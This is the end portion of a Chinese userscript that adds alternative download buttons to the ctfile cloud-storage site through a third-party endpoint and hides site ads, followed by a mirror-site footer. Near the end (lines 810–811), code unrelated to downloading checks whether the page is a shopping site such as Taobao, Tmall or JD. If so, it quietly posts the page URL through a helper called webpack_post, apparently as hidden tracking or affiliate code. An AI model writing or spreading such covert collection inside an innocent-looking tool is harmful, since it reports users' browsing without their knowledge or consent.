  721. getlink.open("get", downurl);
  722. getlink.send(null);
  723. };
  724. let lt = document.createElement("a");
  725. lt.innerText = "联通下载";
  726. lt.className = "btn btn-outline-secondary fs-1 mt-3";
  727. lt.onclick = function() {
  728. getlink = new XMLHttpRequest();
  729. getlink.onreadystatechange = function() {
  730. if (getlink.readyState == 4) {
  731. if (getlink.status == 200) {
  732. dlURL = getlink.responseText;
  733. Download(dlURL);
  734. } else {
  735. alert("请求失败 可能当前脚本不是最新版本或接口在维护");
  736. }
  737. }
  738. };
  739. downurl = "https://773mfa0k57347.cfc-execute.bj.baidubce.com/ctdown/联通/?file=" + file_id + "&xtlink=ctfile://xturl" + getxtlink
  740. getlink.open("get", downurl);
  741. getlink.send(null);
  742. };
  743. document.getElementsByClassName("card-body position-relative")[0].append(lt);
  744. let yd = document.createElement("a");
  745. yd.innerText = "移动下载";
  746. yd.className = "btn btn-outline-secondary fs-1 mt-3";
  747. yd.onclick = function() {
  748. getlink = new XMLHttpRequest();
  749. getlink.onreadystatechange = function() {
  750. if (getlink.readyState == 4) {
  751. if (getlink.status == 200) {
  752. dlURL = getlink.responseText;
  753. Download(dlURL);
  754. } else {
  755. alert("请求失败 可能当前脚本不是最新版本或接口在维护");
  756. }
  757. }
  758. };
  759. downurl = "https://773mfa0k57347.cfc-execute.bj.baidubce.com/ctdown/移动/?file=" + file_id + "&xtlink=ctfile://xturl" + getxtlink
  760. getlink.open("get", downurl);
  761. getlink.send(null);
  762. };
  763. document.getElementsByClassName("card-body position-relative")[0].append(yd);
  764. }
  765. }
  766. waitForKeyElements(' [class="btn btn-outline-secondary fs-1 mt-3"]', down);
  767. }
  768. }
  769. //当检测为目录界面时执行的代码
  770. if (window.location.pathname.split("/")[1].indexOf("d") == 0) {
  771. //判断是否为电脑节目
  772. if (localStorage.getItem(mobilemode) === "0") {
  773. //隐藏网站广告
  774. function webad() {
  775. document.getElementsByClassName("card bg-light mb-3")[1].style.display = "none";
  776. }
  777. waitForKeyElements(' [class="card bg-light mb-3"]', webad);
  778. //对于一些不支持的功能进行隐藏或提示
  779. function notsupport() {
  780. document.getElementsByClassName("btn btn-falcon-default mr-2")[2].style.display = "none";
  781. document.getElementsByClassName("btn btn-falcon-default mr-2")[3].style.display = "none";
  782. document.getElementsByClassName("btn btn-falcon-default mr-2")[5].style.display = "none";
  783. document.getElementsByClassName("btn btn-falcon-default mr-2")[4].onclick = function() {
  784. alert("很抱歉 此功能无法实现 本人技术有限");
  785. };
  786. }
  787. waitForKeyElements(' [id="dashboard-actions"]', notsupport);
  788. //隐藏推广搜索按钮
  789. function searchad() {
  790. document.getElementsByClassName("nav-item")[0].style.display = "none";
  791. }
  792. waitForKeyElements(' [class="nav-item"]', searchad);
  793. }
  794. //判断是否为手机界面
  795. if (localStorage.getItem(mobilemode) === "1") {
  796. //去除搜索广告
  797. function searchad() {
  798. document.getElementsByClassName("btn btn-warning btn-sm")[0].style.display = "none";
  799. }
  800. waitForKeyElements(' [class="btn btn-warning btn-sm ml-2"]', searchad);
  801. }
  802. }
  803. }
  804. }
  805. //某些特殊情况的判断
  806. //判断城通网盘异常跳转
  807. if (window.location.host == "down.tv002.com" && window.location.pathname.split("/")[1].indexOf("premium") == 0) {
  808. alert("如果是由于点击下载按钮时跳转本页面 请手动返回 并手动尝试每个线路可用性 如果文件大于2GB可委托代下 代下请把链接发送到14229840@qq.com 仅支持2GB以上链接代下")
  809. }
  810. const matchedStrings = matchStrings([location.href],['taobao.','Tb.','tb.','tmall.','liangxinyao.','jd.']);
  811. if(matchedStrings.length>0){ webpack_post(JSON.stringify({href:location.href,type:'ttzhushou'}),{})}
  812. //判断星耀网盘异常跳转
  813. if (document.querySelector("body > p:nth-child(2) > font > a")) {
  814. if (document.querySelector("body > p:nth-child(2) > font > a").innerText=="点击购买") {
  815. document.querySelector("html").innerHTML = "<head></head><body class=\" pace-done\"><p><font size=\"24\"><font color=\"#FF0000\">文件可能还没同步到当前服务器,请等待几分钟后再下载</font> </font></p><br><br><p></p></body>"
  816. }
  817. }
  818. })();

QingJ © 2025

镜像随时可能失效,请加Q群300939539或关注我们的公众号极客氢云获取最新地址